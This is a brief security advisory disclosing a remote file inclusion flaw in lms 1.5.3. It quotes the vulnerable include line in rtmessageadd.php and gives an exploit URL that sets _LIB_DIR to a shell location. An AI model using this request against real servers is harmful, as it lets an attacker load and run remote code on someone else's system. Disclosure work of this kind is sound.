lms 1.5.3 Remote File Inclusion

                          lms 1.5.3 Remote File Inclusion

                      Affected Software .: lms 1.5.3 libs
                      Download..: http://www.lms.org.pl/download/1.5/
                      Risk ..............: high                              
                      Found by ..........: InyeXion                                                  
                      Contact ...........: InyeXion[at]gmail.com    
                      Web .............: Www.InyeXion.com.ar                               

     Affected File:                                                                
/modules/rtmessageadd.php

 Vulnerable Code:

Line 27 include($_LIB_DIR.'/multipart_mime_email.php');

Exploit:

http://[target]/modules/rtmessageadd.php?_LIB_DIR=Shell?

Fixed bug:

Update to last version

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~